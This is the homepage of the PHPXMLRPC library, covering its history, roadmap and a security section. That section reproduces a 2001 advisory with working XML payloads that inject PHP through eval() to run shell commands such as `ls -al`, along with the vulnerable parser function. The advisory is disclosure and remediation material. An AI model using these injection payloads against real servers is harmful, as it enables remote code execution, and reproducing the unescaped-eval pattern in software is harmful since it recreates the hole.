XML-RPC for PHP

Introduction

Welcome to the homepage of "XML-RPC for PHP". It is a library implementing the XML-RPC protocol, written in PHP. It is also known as PHPXMLRPC.
It is designed for ease of use, flexibility and completeness. High speed and reduced memory footprint are not the main goals of the project.

Note that this is not the same library as the one that is part of PEAR. They both share a common ancestry, since the PEAR version is a branch of the original phpxmlrpc library, now independently maintained.
This is also not the library which can be compiled as a php extension and has been bundled with php since version 4.1.0, either.

PHPXMLRPC or derivative versions are or have been used in many open source projects, including Ampache, Xaraya, Drupal (only up to releases 4.6.2 and 4.5.4), PostNuke, b2evolution, nucleus cms, phpmyfaq, phpPgAds, phpgroupware, egroupware, TikiWiki, Civicspace (old release only), MailWatch for MailScanner, WikiTeX and OpenAutonomy.

XML-RPC for PHP was originally developed by Edd Dumbill of Useful Information Company. As of the 1.0 stable release, the project was opened to wider involvement and moved to SourceForge. It is hosted on GitHub since December 2013.

Features

Requirements

Download

The latest stable release is version 3.0.0beta released on September 5, 2009

The previous stable release is version 2.2.2 released on March 16, 2009

Note: there is a known bug in PHP version 5.2.2 that prevents the php-xmlrpc server from working. If you are experiencing this problem please upgrade your php install or use library version 2.2.1 or later.

Note: all users are encouraged to upgrade to release 1.2 or later, since known exploits exist for earlier versions.
All use of eval as a potential remote code execution exploit has been removed in release 1.2.
More info on the vulnerabilities can be found at the bottom of the page.

News

Older news...

Documentation

Online demo server

A demo server is active at the address http://phpxmlrpc.sourceforge.net/server.php. It exposes functions that can be used for interoperability testing. (the full code for the server is included in the CVS version of the library).
You can see the source code here: http://phpxmlrpc.sourceforge.net/server.php (the xmlrpc server will activate on POST requests, and display its API on GET requests), and auto-generated documentation here

Online xmlrpc debugger

A demo xmlrpc debugger application, built on top of this library, is active at the address http://gggeek.altervista.org/sw/xmlrpc/debugger/. You can use the debugger to e.g. query the SF demo server, or debug your own personal xmlrpc server, if it is accessible on the net.

Development

GitHub home page (downloads, source code and bug tracker).

Mailing lists

Contact

For security related issues feel free to contact ggiunta at users.sourceforge.net

Roadmap

A list of things that might make it into the next release (version 3.0 ?):

DescriptionStatus (SVN) - updated 2009/07/26
Update documentation for all features found in version 2Slowly progressing...
Add the possibility to choose formatting of the xml messagesSimilar to what the php native xmlrpc extension does
Fix warnings emitted when running with PHP 5 in STRICT modeThis will be done in version 3.0, abandoning php 4 compat...
Expand automatic php function to xmlrpc method wrapper to take advantage of exception handling and return xmlrpc error responses
Expand automatic stub generator for automatically converting php functions to xmlrpc methods for PHP <= 5.0.2look at AMFPHP code on how to do it.
Many enhancements in version 2.1
Now that the server can automatically register php functions there is less need for it...
Better support for mbstring when it's enabledShould make e.g. charset encoding guessing faster
Improve support for "version 1" cookies
Add a possibility to use standard error messages instead of the native error codes
PEAR compatibility: add synonims for functions existing with different names in the PEAR version of the lib
Add support for the system.describeMethods xmlrpc extension
Add to the debugger the capability to launch a complete set of validator1 tests
Examine usability of WSDL for describing exposed services and translation to/from system.methodSignature and system.describeMethodsSome problems exist in using an XSD to strictly define xmlrpc. Relax NG is a definitely better alternative, but there is little support in other toolkits for using it in conjunction with a WSDL file...
Support http redirects (302)
Add to sf.net a small database, so that we can implement a validator page that logs incoming users, such as is present on the xmlrpc.com site
Add to benchmark suite the capability to upload results to sf.net
Write a php extension that will accelerate the most heavily used functions of the libSee how adodb did it for an example
Test speed/memory gains using simplexml and relaxng instead of hand parsing of xml

Security

The third security breach: august 2005

This was a further and proactive response to the second security breach below. All use of eval() has been removed since it was still a potential exploit.

When the library was originally written, the versions of php available at the time did not include call_user_func(), et al. So it was written within those constraints to use eval() in two of the functions called by the xml parser. Due to this usage, the server class also used eval() since it had to parse xml using the same functions.

These handler functions, and the array used to maintain the content of the original message, have been rewritten to construct php values instead of building php code for evaluation. This should remove any potential for code execution.

The second security breach: july 2005

The security vulnerability discovered by James Bercegay of GulfTech Security Research on the the 27th of June, 2005, has caused quite a stir. It has made it to the front page of Salshdot, has been mentioned on Netcraft, LWN and many other sites.

Detailed instructions on building exploit code have been released on the internet, and many web hosting administrators are left wondering what is the best defense plan, and what are the real risks. Here are some answers.

Scope of the problem

How the vulnerability is triggered

Means of protection

Some extra considerations

The file xmlrpcs.inc has been patched too in release 1.1.1 to provide a better user experience. In more detail: sending specially crafted malformed xml to a server would cause the php script to emit a php error instead of returning an appropriate xml response.
According to some, this actually entails a "path disclosure security breach" (i.e. the php error message displayed usually contains sensitive information about filesystem paths), but then any single PHP script suffers of the same security problem if the sysadmin is running production servers with the ini directive display_errors=On.
I also know for a fact that there are many places in xmlrpc.inc where calling a function with an unexpected parameter will generate a php warning or error, and I am not planning to implement strict parameter check for every single function anytime soon - if you aim for that, imho, you might as well code in java in the first place.

Is this the end of the world?

I hope not.
The reason is there are tens of PHP applications out there that suffer from code injection exploits. Just take a look at the security track of bulletin boards... and yet a lot of people still think PHP is a good choice for web development.
Remember: security is a process, not a state that can be reached.

Gaetano Giunta

The first security breach: september 2001

I received this advisory from Dan Libby. With his
permission it is reproduced here.  Note that this exploit is fixed
in revisions 1.01 and greater of XML-RPC for PHP.

 -- Edd Dumbill


Tue Sep 24 2001
===============

PHP Security Hole: potential XML-RPC exploit
============================================

Abstract:

Using the latest release of Useful Inc's php xmlrpc library, version 1.0,
it is possible for an attacker to structure the xml in such a way as to
trick the xml-rpc library into executing php code on a web server.  I
was able to execute arbitrary php code, and with php's safe-mode turned
off, system commands.  An attacker could easily use this as a gateway for
launching viruses.

Details:

I demonstrated the problem by modifying the server.php example script
included with the xmlrpc distribution and then calling it via the
client.php script, also part of the distribution. I bypassed the standard
server code, and simply echo'd responses back to the client. I was
able to get the client to execute arbitrary php code. I then restored the
server.php sample to its original state and used telnet to send a modified
request. I was also able to make code execute on the server, albeit requiring
a slightly different syntax.

The attack centers around use of php's eval() function. Since I knew that
the xml-rpc library uses eval to construct its data structures from xml
input, it was just a matter of structuring the input xml in such a
manner that it:

a) is not escaped before being passed to eval
b) does not generate a php syntax error

Normally, all non numeric data is escaped by the library before being
passed to eval.  However, it turns out that if you send a <value> tag,
followed by an unexpected tag, such as <foo>, the escaping code will be
bypassed and "raw" data will be evaluated instead.

Exploiting the client:

Here is a typical xml-rpc response:

<?xml version="1.0"?>
<methodResponse>
<params><param>

<value><string>hello world</string></value>

</param></params>
</methodResponse>

When such a response is eval'ed, it looks like:

new xmlrpcval("hello world", "string")


Here is an xml-rpc response that will execute php code to echo "<h1> hello
world </h1>" on the client side:

<?xml version="1.0"?>
<methodResponse>
<params><param>

<value><foo>", "string"); echo "<h1> hello world </h1>"; \$waste = array("</foo></value>

</param></params>
</methodResponse>


In this case, the string that will be eval'ed is:

new xmlrpcval("", "string"); echo "<h1> hello world </h1>"; $waste = array("", 'string')



It is possible to replace everything between "string"); and \$waste with
arbitrary code of just about any length.

Finally, here's one that will print the contents of the current directory:

<?xml version="1.0"?>
<methodResponse>
<params>
<param>
<value><foo>", "string");

echo "<h1><font color=red>if you see a directory listing, I just executed php and system code via xml-rpc.</font></h1>";
echo "now I will attempt a directory listing using ls -al:\n<xmp>"; echo `ls -al`; echo "</xmp>";
echo "I could just have easily invoked rm -rf, or written a program to disk and executed it (eg, a virus)
 or read some files. Have a nice day.<br><br>";
exit;

\$waste = array("</foo></value>
</param>
</params>
</methodResponse>

Exploiting the server:

The server exploit is just about the same as the client, except that the
server is using a different eval command, and thus it requires slightly
different begin and ending syntax to avoid php syntax errors.

Here is the same code as above, but it will work against a server.

<?xml version='1.0' encoding="iso-8859-1" ?>
<methodCall>
<methodName>system.listMethods</methodName>
<params>
<param>
<value><test>", "string"));

echo "<h1><font color=red>if you see a directory listing, I just executed php and system code via xml-rpc.</font></h1>";
echo "now I will attempt a directory listing using ls -al:\n<xmp>"; echo `ls -al`; echo "</xmp>";

echo "I could just have easily invoked rm -rf, or written a program to disk and executed it (eg, a virus)
 or read some files. Have a nice day.<br><br>";
exit;

$waste = array(array("</test></value>
</param>
</params>
</methodCall>


Problem Area:

in xmlrpc.inc, there is a function called xmlrpc_cd(), which is called by
the xml parser to handle character data.

function xmlrpc_cd($parser, $data) {
   global $_xh, $xmlrpc_backslash, $xmlrpc_twoslash;

//if (ereg("^[\n\r \t]+$", $data)) return;
// print "adding [${data}]\n";
   if ($_xh[$parser]['lv']==1) {
      $_xh[$parser]['qt']=1;
      $_xh[$parser]['lv']=2;
   }
   if ($_xh[$parser]['qt']) { // quoted string
      $_xh[$parser]['ac'].=str_replace('\$', '\\$',
                                       str_replace('"', '\"',
                                                   str_replace(chr(92),$xmlrpc_backslash, $data)));
   }
   else
      $_xh[$parser]['ac'].=$data;
}

It is the last else that is causing data to be added without escaping.  It
is very dangerous to have this.  This else seems to be intended for
numeric data, and great pains are taken to set and unset the "qt" (quote)
variable which turns escaping on and off. However, it is not immediately
apparent to me why numeric data should not be similarly escaped, and the
if/else removed, such that there is zero chance for this type of exploit.

Valid XHTML 1.0!
Page last updated: 2014/1/18